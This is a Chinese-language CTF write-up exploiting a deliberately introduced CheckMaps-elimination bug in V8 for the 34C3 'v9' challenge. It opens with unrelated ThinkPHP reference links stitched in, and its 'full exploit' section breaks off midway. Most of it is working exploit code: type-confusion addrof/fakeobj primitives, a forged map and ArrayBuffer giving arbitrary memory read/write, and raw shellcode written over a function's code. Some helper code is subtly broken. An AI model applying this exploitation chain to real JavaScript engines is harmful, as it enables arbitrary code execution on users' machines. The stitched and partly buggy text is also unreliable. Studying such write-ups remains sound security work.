http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/index.html
## 参考
<https://paper.seebug.org/1377/>
<https://y4er.com/post/thinkphp3-vuln/>
<https://www.kancloud.cn/manual/thinkphp/1679>
<https://www.yuque.com/jxswcy/ctfnotebook/zrlczl>
[https://www.bilibili.com/video/BV1B54y1k74C?from=search&seid=7073475207116317757](https://www.bilibili.com/video/BV1B54y1k74C?from=search&seid=7073475207116317757) | 社区文章 |
# 34c3 v9 writeup
## 环境搭建
<https://github.com/saelo/v9>
mkdir v9 && cd v9
fetch v8 && cd v8 # see https://github.com/v8/v8/wiki/Building-from-Source
git checkout 6.3.292.48
gclient sync
patch -p1 < /path/to/v9.patch
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
## exploit
### 工具类准备
这部分就是一些可复用的代码。
String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
return (Array(total).join(pad || 0) + this).slice(-total);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++){
//print(bytes[i].toString(16));
res.push(('0' + bytes[i].toString(16)).substr(-2));
}
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
var chunk = data.slice(i, i+16);
for (var i = 0; i < data.length; i += 16) {
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
//print(bigEndian.toString());
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
//print("toString");
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = a.toString(16);
if (ret.substr(0,2) != "0x") return "0x"+ret;
else return ret;
}
function lower(x) {
// returns the lower 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}
function upper(x) {
// returns the upper 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}
function lowerint(x) {
// returns the lower 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}
function upperint(x) {
// returns the upper 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}
function combine(a, b) {
//a = a >>> 0;
//b = b >>> 0;
//print(a.toString());
//print(b.toString());
return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}
//padLeft用于字符串左补位
function combineint(a, b) {
//a = a >>> 0;
//b = b >>> 0;
return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}
// based on Long.js by dcodeIO
// https://github.com/dcodeIO/Long.js
// License Apache 2
class _u64 {
constructor(hi, lo) {
this.lo_ = lo;
this.hi_ = hi;
}
hex() {
var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
hlo = "00000000" + hlo
hlo = hlo.substr(hlo.length-8, hlo.length);
return "0x" + hhi + hlo;
}
isZero() {
return this.hi_ == 0 && this.lo_ == 0;
}
equals(val) {
return this.hi_ == val.hi_ && this.lo_ == val.lo_;
}
and(val) {
return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
}
add(val) {
var a48 = this.hi_ >>> 16;
var a32 = this.hi_ & 0xFFFF;
var a16 = this.lo_ >>> 16;
var a00 = this.lo_ & 0xFFFF;
var b48 = val.hi_ >>> 16;
var b32 = val.hi_ & 0xFFFF;
var b16 = val.lo_ >>> 16;
var b00 = val.lo_ & 0xFFFF;
var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
c00 += a00 + b00;
c16 += c00 >>> 16;
c00 &= 0xFFFF;
c16 += a16 + b16;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c32 += a32 + b32;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c48 += a48 + b48;
c48 &= 0xFFFF;
return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
}
addi(h,l) {
return this.add(new _u64(h,l));
}
subi(h,l) {
return this.sub(new _u64(h,l));
}
not() {
return new _u64(~this.hi_, ~this.lo_)
}
neg() {
return this.not().add(new _u64(0,1));
}
sub(val) {
return this.add(val.neg());
};
swap32(val) {
return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
}
bswap() {
var lo = swap32(this.lo_);
var hi = swap32(this.hi_);
return new _u64(lo, hi);
};
}
var u64 = function(hi, lo) { return new _u64(hi,lo) };
function gc(){
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}
在这次exp编写中，用到的主要是
Int64.fromDouble(double num);
new Int64(int num).asDouble();
* `Int64.fromDouble(double num)`
Constructs a new Int64 instance with the same bit representation as the
provided double.
例如：
print(Int64.fromDouble(1.1));
print(typeof(Int64.fromDouble(1.1)));
...
...
0x3ff199999999999a
object
* `new Int64(int num).asDouble();`
Return a double whith the same underlying bit representation.
例如
print(new Int64(0x3ff199999999999a).asDouble());
print(typeof(new Int64(0x3ff199999999999a).asDouble()));
...
...
1.1000000000000227
number
### root cause
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
#include "src/compiler/redundancy-elimination.h"
#include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"
namespace v8 {
namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
+ } else if (a->opcode() == IrOpcode::kCheckMaps &&
+ b->opcode() == IrOpcode::kCheckMaps) {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
} else {
return false;
}
每一个对象都有一个map来标记这个对象的类型，而checkmap就是用来检查这个对象的类型有没有变化的。
如果没变的话就可以一直走fast path，否则就要baliout。
根据给出的含漏洞的patch可知,JIT优化中的函数调用层次如下：
Reduction RedundancyElimination::Reduce(Node* node) {
if (node_checks_.Get(node)) return NoChange();
switch (node->opcode()) {
case IrOpcode::kCheckMaps:
...
return ReduceCheckNode(node);
-->
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// See if we have another check that dominates us.
if (Node* check = checks->LookupCheck(node)) {
ReplaceWithValue(node, check);
return Replace(check);
}
-->
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
for (Check const* check = head_; check != nullptr; check = check->next) {
if (IsCompatibleCheck(check->node, node)) {
DCHECK(!check->node->IsDead());
return check->node;
}
}
return nullptr;
}
-->
bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->op() != b->op()) {
...
} else if (a->opcode() == IrOpcode::kCheckMaps &&
b->opcode() == IrOpcode::kCheckMaps) {
// CheckMaps are compatible if the first checks a subset of the second.
ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
if (!b_maps.contains(a_maps)) {
return false;
}
} else {
return false;
}
}
...
return true;
}
首先在Reduce里遇到CheckMaps的时候
case IrOpcode::kCheckMaps:
...
return ReduceCheckNode(node);
为了找到最优的dominates，会去遍历其他的check
for (Check const* check = head_; check != nullptr; check = check->next) {
如果找到其他的CheckMaps的话，会检查是否“兼容”，会去看它们的maps，如果第一个检查已经包含第二个检查的话，就会把第二个检查给去掉。
if (Node* check = checks->LookupCheck(node)) {
ReplaceWithValue(node, check);
...
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
if (IsCompatibleCheck(check->node, node)) {
DCHECK(!check->node->IsDead());
return check->node;
}
### 利用思路
type
confusion可以让我们得到对于用户空间任何object的读写权限，可以将任意一个对象的指针当成一个double读出来，也可以将任意一个double当成一个对象的指针写进去，这样我们就可以在一个地址伪造一个对象。
通过type confusion去fake map，fake
ArrayBuffer，然后通过改我们fake的ArrayBuffer的BackingStore得到任意地址读写的原语。
### fake map prototype&&constructor
**PS.事实上这步可能不需要。只是当时学习别人exp的时候写的**
通过type confusion去leak
ab的prototype地址，且由于prototype和constructor的地址偏移是固定的，所以可以去通过prototype的地址去计算出constructor的地址，然后将他们写入我们要fake的map对应的位置。
不过也可以直接用`ab.__proto__.constructor`得到constructor的地址。
var ab=new ArrayBuffer(0x20);
// print("float is " + (new Int64(0x001900c60f00000a)).asDouble().toString());
// print("float is " + (new Int64(0x00000000082003ff)).asDouble().toString());
arr0=[1.1,2.2,3.3,4.4];
// leak arraybuffer的prototype和constructor
function read_obj_addr(object){
function evil_r0() {
arr0[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr0, function() {})
}
re=Int64.fromDouble(trigger(arr0,evil_r0));
return re;
}
ab_proto_addr=parseInt(read_obj_addr(ab.__proto__));
print("要被leak的ArrayBuffer");
%DebugPrint(ab);
print(ab_proto_addr.toString(16));
ab_constructor_addr = ab_proto_addr - 0x1b0;
print(ab_constructor_addr.toString(16));
log
要被leak的ArrayBuffer
DebugPrint: 0x130c771022d9: [JSArrayBuffer]
- map = 0x228d52a02f71 [FastProperties]
...
0x228d52a02f71: [Map]
- type: JS_ARRAY_BUFFER_TYPE
...
- prototype: 0x34f96880b7b9 <Object map = 0x228d52a02fc1>
- constructor: 0x34f96880b609 <JSFunction ArrayBuffer (sfi = 0x157dbc033711)>
...
...
34f96880b7b9
34f96880b609
### fake map并leak出来
前后两次gc()，让ab_map_obj这个double array移动到old space里，并且让其和它的elements地址偏移恒定。
gc();
gc();
var ab_map_obj = [
-1.1263976280432204e+129, //0xdaba0000daba0000，写死即可，这个数字应该无所谓
3.477098183419809e-308, //这里是固定的标志位，直接打印一个ArrayBuffer，把对应于map这个位置的标志位用对应的double number写进去即可
6.73490047e-316, //这里是固定的标志位，直接打印一个ArrayBuffer，把对应于map这个位置的标志位用对应的double number写进去即可
-1.1263976280432204e+129, // use prototype replace it
-1.1263976280432204e+129, // use constructor replace it
0.0
];
gc();
gc();
DebugPrint: 0x3e0338a149e9: [JSArray] in OldSpace
...
...
- elements = 0x3e0338a14a49 <FixedDoubleArray[6]> {
0: -1.1264e+129
1: 3.4771e-308
2: 6.7349e-316
3-4: -1.1264e+129
5: 0
}
我们要fake的map在elements里，而elements的前面0x10分别是map和length，所以
0x3e0338a14a49 + 0x10 -0x3e0338a149e9 = 0x70
...
...
gdb-peda$ x/20gx 0x3e0338a14a49-1
0x3e0338a14a48: 0x000037d6d7302de1 0x0000000600000000
0x3e0338a14a58: 0xdaba0000daba0000 0x001900c60f00000a
0x3e0338a14a68: 0x00000000082003ff 0xdaba0000daba0000
0x3e0338a14a78: 0xdaba0000daba0000 0x0000000000000000
0x3e0338a14a88: 0x000037d6d7302201 0x0006b57800000000
然后将其ab_map_obj的地址leak出来，加上0x70就是我们fake的map的地址。
print("要leak出ab_map_obj的数组");
%DebugPrint(ab_map_obj);
// leak ab_map_obj的地址
arr1=[1.1,2.2,3.3,4.4];
function read_obj_addr1(object){
function evil_r1() {
arr1[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr1, function() {})
}
re=Int64.fromDouble(trigger(arr1,evil_r1));
// while(1);
return re;
}
ab_map_obj_addr = parseInt(read_obj_addr1(ab_map_obj))+0x70;
print(ab_map_obj_addr.toString(16));
ab_map_obj_addr = new Int64(ab_map_obj_addr).asDouble();
这里顺便说一句，无论是leak还是fake的时候，得到的都是double，写入的也是按照double写入，这个调试一下就知道了。
### fake ArrayBuffer并leak出来
在map被fake好了之后，我们就可以fake ArrayBuffer得到任意地址读写的原语了。
依然是前后两次gc()，然后fake一个ArrayBuffer结构。
gc();
gc();
var fake_ab = [
ab_map_obj_addr, //我们fake的map地址
ab_map_obj_addr, //写死即可，这个数字应该无所谓
ab_map_obj_addr, //写死即可，这个数字应该无所谓
3.4766779039175e-310, /* buffer length 0x4000*/
3.477098183419809e-308,//backing store,先随便填一个数
3.477098183419809e-308 //写死即可，这个数字应该无所谓
];
gc();
gc();
然后将这个fake好的ArrayBuffer的地址leak出来，依然是先leak
fake_ab这个JSArray的地址，然后根据偏移0x70找到我们在elements里fake的ArrayBuffer的地址。
arr2=[1.1,2.2,3.3,4.4];
function read_obj_addr2(object){
function evil_r2() {
arr2[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr2, function() {})
}
re=Int64.fromDouble(trigger(arr2,evil_r2));
return re;
}
print("要leak出的fake_ab的数组");
%DebugPrint(fake_ab);
fake_ab_float_addr=parseInt(read_obj_addr2(fake_ab))+0x70;
print(fake_ab_float_addr.toString(16));
fake_ab_float_addr=new Int64(fake_ab_float_addr).asDouble();
log
leak出的map地址是810f1c94a01
要leak出的fake_ab的数组
DebugPrint: 0x810f1c96e29: [JSArray] in OldSpace
...
...
- elements = 0x810f1c96e89 <FixedDoubleArray[6]> {
0-2: 4.3818e-311
3: 3.47668e-310
4-5: 3.4771e-308
}
810f1c96e99
...
...
gdb-peda$ x/20gx 0x810f1c96e89-1
0x810f1c96e88: 0x0000361a14882de1-->fixedArray真正的map 0x0000000600000000-->fixedArray的length
下面才是我们fake的ArrayBuffer
...
...
0x810f1c96e98: 0x00000810f1c94a01-->fake map 0x00000810f1c94a01-->随便
0x810f1c96ea8: 0x00000810f1c94a01-->随便 0x0000400000000000-->length
0x810f1c96eb8: 0x001900c60f00000a-->backingstore 0x001900c60f00000a-->随便
0x810f1c96ec8: 0x0000361a14882201 0x0006913800000000
...
0x810f1c96e89+0x10-0x810f1c96e29=0x70
### 将我们fake的ArrayBuffer当成一个JSObject读出来
我们可以在callback里改掉array的类型，比如将一个double array改成了object array，但是由于type
confusion，我们在第二次对arr[0]重新写入值的时候，依然把arr当成一个double array，并将其写入。
这样实际上，我们把一个double的数值当成一个object指针写入。
如下，写入之后，arrr[0]将由于我们fake的arraybuffer的map，被视作一个arraybuffer对待，于是可以用它来初始化一个DataView。
DataView就可以操作这个fake的ArrayBuffer的BackingStore地址对应的内存。
arrr=[1.1,2.2,3.3,4.4];
function write_obj_addr(object){
function evil_w0() {
arrr[0] = {};
}
for (var i = 0; i < 100000; i++) {
trigger2(arrr, function() {},1.1);
}
trigger2(arrr,evil_w0,fake_ab_float_addr);
}
write_obj_addr(fake_ab_float_addr);
//DataView(ArrayBuffer buffer [, 字节起始位置 [, 长度]]);
fake_dv = new DataView(arrr[0],0,0x4000);
%DebugPrint(fake_dv);
### leak一个function的code指针的地址，并将其写入fake ArrayBuffer的BackingStore
由此，我们就可以读取对应于code指针所在地址的code指针的值。
如下图log，我需要得到code的地址，
gdb-peda$ job 0xac9a5c986c9
0xac9a5c986c9: [Function] in OldSpace
- map = 0x3a6b959824d1 [FastProperties]
- prototype = 0x2e1993f04669
- elements = 0x21df6cd02251 <FixedArray[0]> [HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x2e1993f3ceb9 <SharedFunctionInfo>
- name = 0x21df6cd02441 <String[0]: >
- formal_parameter_count = 0
- kind = [ NormalFunction ]
- context = 0x2e1993f03d91 <FixedArray[281]>
- code = 0x19d27c522f01 <Code BUILTIN>
...
...
gdb-peda$ x/20gx 0xac9a5c986c9-1
0xac9a5c986c8: 0x00003a6b959824d1 0x000021df6cd02251
0xac9a5c986d8: 0x000021df6cd02251 0x000021df6cd02321
0xac9a5c986e8: 0x00002e1993f3ceb9 0x00002e1993f03d91
0xac9a5c986f8: 0x00002e1993f3d091 0x000019d27c522f01-->code
从图中可以看出来，就是function-1（这个减一是因为v8中指针末位都置为1，需要去掉）+0x38，我们把它leak出来。
gc();
gc();
var evil_f = new Function("var a = 1000000");
gc();
gc();
print("要read的function");
%DebugPrint(evil_f);
arr3=[1.1,2.2,3.3,4.4];
function read_obj_addr3(object){
function evil_r3() {
arr3[0] = object;
%DebugPrint(arr3);
}
for (var i = 0; i < 100000; i++) {
trigger(arr3, function() {})
}
re=Int64.fromDouble(trigger(arr3,evil_r3));
return re;
}
shellcode_address_ref=parseInt(read_obj_addr3(evil_f))+0x38-1;
print(shellcode_address_ref.toString(16));
所以找到这个地址后，我们将其写入fake arraybuffer的backingstore，就能用dataview把这个地址对应的数据读出来。
fake_dv = new DataView(arrr[0],0,0x4000);
...
...
shellcode_address = fake_dv.getFloat64(0,true);
print(Int64.fromDouble(shellcode_address).toString(16));
但是这个地址，并不是真正的函数对应的执行的代码的入口，它还需要加上0x5f，如图：
gdb-peda$ job 0x19d27c522f01
0x19d27c522f01: [Code]
kind = BUILTIN
name = InterpreterEntryTrampoline
compiler = unknown
Instructions (size = 1170)
0x19d27c522f60-->从这开始 0 488b5f2f REX.W movq rbx,[rdi+0x2f]
0x19d27c522f64 4 488b5b07 REX.W movq rbx,[rbx+0x7]
0x19d27c522f68 8 488b4b0f REX.W movq rcx,[rbx+0xf]
0x19d27c522f6c c f6c101 testb rcx,0x1
0x19d27c522f6f f 0f8512020000 jnz 0x19d27c523187 (InterpreterEntryTrampoline)
0x19d27c522f75 15 f6c101 testb rcx,0x1
0x19d27c522f78 18 7410 jz 0x19d27c522f8a (InterpreterEntryTrampoline)
0x19d27c522f7a 1a 48ba000000003d000000 REX.W movq rdx,0x3d00000000
0x19d27c522f84 24 e857350200 call 0x19d27c5464e0 (Abort) ;; code: BUILTIN
0x19d27c522f89 29 cc int3l
0x19d27c522f8a 2a 4885c9 REX.W testq rcx,rcx
0x19d27c522f8d 2d 0f842c030000 jz 0x19d27c5232bf (InterpreterEntryTrampoline)
0x19d27c522f93 33 f6c101 testb rcx,0x1
0x19d27c522f96 36 7410 jz 0x19d27c522fa8 (InterpreterEntryTrampoline)
0x19d27c522f98 38 48ba000000003d000000 REX.W movq rdx,0x3d00000000
于是我们还要再加上0x5f
shellcode_address=shellcode_address+new Int64(0x5f).asDouble();
print(Int64.fromDouble(shellcode_address).toString(16));
### 向函数要执行的代码的地址，写入我们的shellcode
同上，将函数要执行的代码的地址写入到BackingStore，并用dataview向这个地址写入shellcode。
fake_ab[4]=shellcode_address;
fake_ab[5]=shellcode_address;
%DebugPrint(fake_ab);
// while(1);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(var i = 0; i < shellcode.length;i++){
var value = shellcode[i];
fake_dv.setUint32(i * 4,value,true);
}
print("go to shellcode!");
evil_f();
### exploit
## 附录
### JSArrayBuffer
#### ArrayBuffer and TypedArray
* Originally ArrayBuffer
* 一个可以直接从JavaScript访问内存的特殊数组
* 但是，ArrayBuffer仅准备一个buffer
* BackingStore——可以使用TypedArray/DataView，指定的类型读取和写入该区域，例如作为原始数据数组访问的8位或32位内存
* 为了实际访问，有必要一起使用TypedArray或DataView
* 使用例子 (TypedArray版本)
* 创建方法1，仅指定长度，初始化为零
t_arr = new Uint8Array(128) //ArrayBuffer被创建在内部
* 创建方法2，使用特定值初始化
t_arr = new Uint8Array([4,3,2,1,0]) //ArrayBuffer被创建在内部
* 创建方法3，事先构建缓冲区并使用它
arr_buf = new ArrayBuffer(8);
t_arr1 = new Uint16Array(arr_buf); //创建一个Uint16数组
t_arr2 = new Uint16Array(arr_buf, 0, 4); //或者，您也可以指定数组的开始和结束位置
* ArrayBuffer可以在不同的TypedArray之间共享
* 它也可以用于double和int的类型转换
* **类型转换的意义在于改变字节序列的解释，而不是转换**
* 就像C语言的Union
* BackingStore——可以使用TypedArray指定的类型读取和写入该区域，例如作为原始数据数组访问的8位或32位内存
* ①预先准备ArrayBuffer
var ab = new ArrayBuffer(0x100);
* ②向ArrayBuffer中写入一个Float64的值
var t64 = new Float64Array(ab);
t64[0] = 6.953328187651540e-310;//字节序列是0x00007fffdeadbeef
**\-- >当某些地址在V8上泄露时，通常在大多数情况下被迫将其解释为双精度值，为了正确计算偏移量等，需要将其转换为整数值。
对于完成该转换，ArrayBuffer是最佳的**
* ③从ArrayBuffer读取两个Uint32
var t32 = new Uint32Array(ab);
k = [t32[1],t32[0]]
**\-- >k是6.953328187651540e-310,将字节序列按照4个字节去分开，然后解释为Uint32,于是得到:**
**k=[0x00007fff，0xdeadbeef]**
#### JSArrayBuffer
* 持有ArrayBuffer的对象
* 继承Object，HeapObject，JSReceiver，JSObject
* 内存结构如下（在64位环境的情况下）
* 实际演示
* 存放TypedArray
* 使用长度0x13370搜索ArrayBuffer的内存位置
* 在V8中，对象通常被存放在由GC管理的mapped区域，然而BackingStore是一个不被GC管理的区域，并且被存放在heap中(在图中，可以看到malloc块有prev_size和size成员）
此外，由于它不是由GC管理的HeapObject，因此指向BackingStore的指针不是Tagged Value（末尾不能为1）
* 虽然在ArrayBuffer中描述了大小，但如果将此值重写为较大的值，则可以允许读取和写入的长度，超出BackingStore数组的范围。
* **同样，如果您可以重写BackingStore指针，则可以读取和写入任意内存地址，这些是在exploit中常用的方法。**
### 完整exp
我写了两个版本的exp，思路一样，但是写法稍微有点不同，版本一相对简洁舒服一些，版本二感觉会稳定一点。
#### 版本1
function gc(){
for(var i=0;i<1024 * 1024 *16;i++){
new String;
}
}
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
function u2d(num){
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}
function change_to_float(intarr,floatarr){
var j = 0;
for(var i = 0;i < intarr.length;i = i+2){
var re = d2u(intarr[i+1],intarr[i]);
floatarr[j] = re;
j++;
}
}
// leak出object的地址，即将一个object当成double读出来
function trigger(arr,callback){
var v=arr[0];
callback();
return arr[0];
}
// 将一个数当成object写进去
function trigger2(arr, callback, val) {
var v = arr[0];
callback();
arr[0] = val;
}
var nop = 0xdaba0000;
// 伪造ArrayBuffer的map
var ab_map_obj = [
nop,nop,
0x0f00000a,0x001900c6,0x082003ff,0x0,
nop,nop, // use ut32.prototype replace it
nop,nop,0x0,0x0
]
var ab = new ArrayBuffer(0x20);
arr0=[1.1,2.2,3.3,4.4];
// leak arraybuffer的prototype和constructor
function read_obj_addr(object){
function evil_r0() {
arr0[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr0, function() {})
}
re=u2d(trigger(arr0,evil_r0));
return re;
}
ab_proto_addr=read_obj_addr(ab.__proto__);
print("要被leak的ArrayBuffer");
%DebugPrint(ab);
print(ab_proto_addr.toString(16));
ab_constructor_addr = ab_proto_addr - 0x1b0;
print(ab_constructor_addr.toString(16));
//用ab_proto_addr和ab_constructor_addr替换fake map中的nop
ab_map_obj[0x6] = ab_proto_addr & 0xffffffff;
ab_map_obj[0x7] = ab_proto_addr / 0x100000000;
ab_map_obj[0x8] = ab_constructor_addr & 0xffffffff;
ab_map_obj[0x9] = ab_constructor_addr / 0x100000000;
var ab_map_obj_float = [1.1,1.1,1.1,1.1,1.1,1.1];
// 将int array转换成double array
change_to_float(ab_map_obj,ab_map_obj_float);
// 此处gc是为了将ab_map_obj_float放入到old space里，
// 如果没有gc则ab_map_obj_float会在后续的leak中由于gc而被迁移
gc();
// gc();
print("要leak出的ab_map_obj_float的数组");
%DebugPrint(ab_map_obj_float);
// leak ab_map_obj_float的地址
arr1=[1.1,2.2,3.3,4.4];
function read_obj_addr1(object){
function evil_r1() {
arr1[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr1, function() {})
}
re=u2d(trigger(arr1,evil_r1));
return re;
}
ab_map_obj_addr=read_obj_addr1(ab_map_obj_float)+0x280+0x10;
print(ab_map_obj_addr.toString(16));
var fake_ab = [
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
0x0,0x4000, /* buffer length */
0x12345678,0x123,/* buffer address */
0x4,0x0
]
var fake_ab_float = [1.1,1.1,1.1,1.1,1.1,1.1];
change_to_float(fake_ab,fake_ab_float);
gc();
arr2=[1.1,2.2,3.3,4.4];
function read_obj_addr2(object){
function evil_r2() {
arr2[0] = object;
}
for (var i = 0; i < 100000; i++) {
trigger(arr2, function() {})
}
re=u2d(trigger(arr2,evil_r2));
return re;
}
